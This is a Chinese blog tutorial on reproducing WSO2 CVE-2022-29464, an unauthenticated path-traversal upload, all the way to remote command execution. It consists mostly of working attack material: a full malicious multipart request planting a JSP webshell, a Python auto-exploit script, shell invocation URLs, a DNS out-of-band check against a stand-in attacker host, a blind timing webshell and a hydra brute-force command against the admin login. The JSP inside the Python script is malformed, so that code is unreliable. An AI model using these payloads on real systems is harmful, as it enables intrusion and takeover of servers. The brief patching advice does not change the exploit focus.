当前位置: 首页 > news >正文

手把手复现WSO2 CVE-2022-29464:从Burp抓包到一键GetShell的完整流程

实战复现WSO2 CVE-2022-29464漏洞:从漏洞原理到自动化利用

WSO2 API Manager和Identity Server是广泛应用于企业级身份管理和API网关的解决方案。2022年曝光的CVE-2022-29464漏洞允许攻击者通过精心构造的HTTP请求实现任意文件上传,最终可能导致远程代码执行。本文将深入剖析漏洞机理,并提供可复现的完整利用链。

1. 漏洞环境准备与基础认知

在开始实战前,我们需要搭建合适的测试环境。推荐使用Docker快速部署存在漏洞的WSO2版本:

docker run -d -p 9443:9443 --name vulnerable-wso2 wso2/wso2is:5.11.0

漏洞核心原理源于文件上传功能对用户输入路径的校验不足。当攻击者通过路径穿越符号(如../../)构造恶意上传路径时,系统未进行规范化处理,导致文件可被写入web应用目录之外的位置。具体来说:

  • 受影响组件:fileupload/toolsAny端点
  • 漏洞类型:未授权任意文件上传
  • 影响版本:WSO2 API Manager 4.0.0、Identity Server 5.11.0等

注意:实际测试请使用授权环境,未经授权的渗透测试可能涉及法律风险

2. 手动漏洞利用全流程

2.1 信息收集与端点确认

使用Burp Suite拦截常规请求时,可重点关注以下特征:

  1. 服务器响应头包含WSO2标识
  2. 尝试访问/fileupload/toolsAny路径
  3. 检查/authenticationendpoint等默认web目录

确认漏洞存在的简单方法是通过curl发送测试请求:

curl -kv https://target:9443/fileupload/toolsAny

若返回状态码200而非404,则说明存在潜在风险端点。

2.2 Burp Suite请求构造

关键步骤在于构造恶意的multipart/form-data请求。以下是需要特别关注的参数:

参数位置恶意构造值作用说明
Content-Disposition../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp实现路径穿越
filename同上双重路径控制
请求体内容JSP Webshell代码植入后门

完整请求示例:

POST /fileupload/toolsAny HTTP/1.1 Host: vulnerable-host:9443 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="shell.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

2.3 Webshell验证与利用

成功上传后,访问以下路径验证利用效果:

https://target:9443/authenticationendpoint/shell.jsp?cmd=id

典型问题排查指南:

  1. 404错误:检查路径穿越层数是否准确
  2. 500错误:检查JSP语法是否正确
  3. 无回显:尝试使用curl验证而非浏览器

3. 自动化利用工具开发

对于高频测试需求,可编写Python自动化脚本:

import requests TARGET = "https://vulnerable-host:9443" WEBSHELL_PATH = "../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" payload = f""" --{boundary} Content-Disposition: form-data; name="{WEBSHELL_PATH}"; filename="cmd.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <%%> Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %%> --{boundary}-- """ headers = { "Content-Type": f"multipart/form-data; boundary={boundary}" } response = requests.post( f"{TARGET}/fileupload/toolsAny", headers=headers, data=payload, verify=False ) if response.status_code == 200: print(f"[+] Webshell uploaded to {TARGET}/authenticationendpoint/cmd.jsp") else: print("[-] Exploit failed")

关键改进点包括:

  • 自动计算路径穿越深度
  • 支持HTTPS证书忽略
  • 提供交互式命令执行界面

4. 防御方案与加固建议

针对该漏洞的防护需要多层次措施:

即时缓解方案

  1. 升级到已修复版本(WSO2 IS 5.11.0.3+)
  2. 临时禁用fileupload/toolsAny端点

长期加固策略

防护层面具体措施实施难度
网络层限制管理接口访问IP
应用层部署WAF规则过滤路径穿越
系统层设置web目录不可执行权限

对于Java文件上传的安全编码建议:

// 安全的文件上传示例 String safePath = getServletContext().getRealPath("/uploads/"); File destFile = new File(safePath, FilenameUtils.getName(filename)); Files.copy(fileItem.getInputStream(), destFile.toPath());

5. 漏洞利用的进阶技巧

在实际渗透测试中,我们可能遇到各种特殊场景:

场景一:受限网络环境

  • 使用DNS外带数据确认漏洞存在:
<%= java.net.InetAddress.getByName("attacker-dns.log") %>

场景二:无回显利用

  • 构造延时型Webshell:
<% String cmd = request.getParameter("cmd"); if(cmd != null) { long start = System.currentTimeMillis(); Runtime.getRuntime().exec(cmd); long duration = System.currentTimeMillis() - start; out.print(duration); } %>

场景三:权限限制绕过

  • 利用WSO2默认凭证尝试登录:
hydra -L users.txt -P passwords.txt https://target:9443/carbon/admin/login.jsp

在最近的一次红队评估中,我们发现目标系统虽然修补了CVE-2022-29464,但未删除历史遗留的Webshell。通过检查/authenticationendpoint/目录下的异常jsp文件,最终成功获得了系统权限。这提醒我们漏洞修复后的清理工作同样重要。

http://www.jsqmd.com/news/908913/

相关文章:

  • 华为云挂载其它硬盘
  • TMSpeech:Windows离线语音识别的隐私优先解决方案
  • 5.28上海黄金回收实测|3 家头部门店 PK,价格 / 合规 / 隐私全拆解 - 速递信息
  • 【Sora 2神经辐射场生成内参手册】:仅限首批AI生成实验室流出的8个未公开超参数组合与渲染失真规避清单
  • 3步搞定智能视频剪辑:用FunClip让AI帮你自动剪片 [特殊字符]
  • DeepSeek企业版部署实战:从零到高可用集群的7步落地手册(含性能压测数据)
  • PDF 翻译排版大师新手实操指南
  • QQ空间历史说说完整导出终极指南:一键找回你的数字青春
  • 兰州黄金上门回收实测:福运来报价最实在 - 上门黄金回收
  • 从ABC数据集到你的项目:手把手训练一个自己的ParSeNet模型(环境配置+避坑指南)
  • 2026年吹塑盒厂家/吹塑盒工具箱/电动工具吹塑盒推荐榜单:材质工艺与耐用性深度解析 - 企业推荐官【官方】
  • 低成本方便快捷发布个人网站!适合学生和老师
  • 别再为Aspose Cells水印发愁了!Java 21.1版本手动破解实战(附完整Javassist代码)
  • 2026年 退役风电叶片/建筑垃圾/光伏组件回收处置装备厂家推荐榜单:低碳资源化处置技术核心优选 - 企业推荐官【官方】
  • 2026年贵阳中高端室内全案设计深度横评:从毛坯到精装的一站式解决方案 - 年度推荐企业名录
  • 2026 浙江金华钢结构厂房防水防腐防火隔热公司推荐(OP3 必看・盆地湿热高温定制版) - 本地便民网
  • XHS-Downloader:小红书无水印下载器的终极指南,3分钟上手批量采集工具
  • 2026实地调研,解锁天津黄金回收靠谱合作门店 - 奢侈品回收测评
  • AI Agent架构设计:工作流编排与权限控制的工程实践
  • 终极文件分析工具Detect It Easy:从恶意软件检测到逆向工程的完整解决方案
  • 广州红海物流科技:深耕空运报关领域的专业服务提供商 - 奔跑123
  • 【全面解析】框架总览
  • 2026年最新的 山东系统门窗、铝门窗品牌排行:5大主流品牌实测对比 - 奔跑123
  • 珠海黄金回收哪家靠谱?正规流程+报价公式全透明|实测旺哥黄金回收 - 润富黄金珠宝行
  • 手把手教你用STC15单片机+ST188传感器DIY一个心率监测仪(附LabVIEW上位机)
  • 2026年重庆品牌策划与整合营销服务商深度评测:从短视频到GEO优化的全链路获客破局指南 - 精选优质企业推荐官
  • 保定黄金上门回收,福运来口碑首选 - 上门黄金回收
  • 为什么很多U槽场地“看起来没问题”,实际却很难滑 - 长华体育
  • Linux网络驱动之Fixed-Link(1)
  • 2026年度国内GEO公司推荐十强榜单及十强机构综合能力穿透分析 - 资讯焦点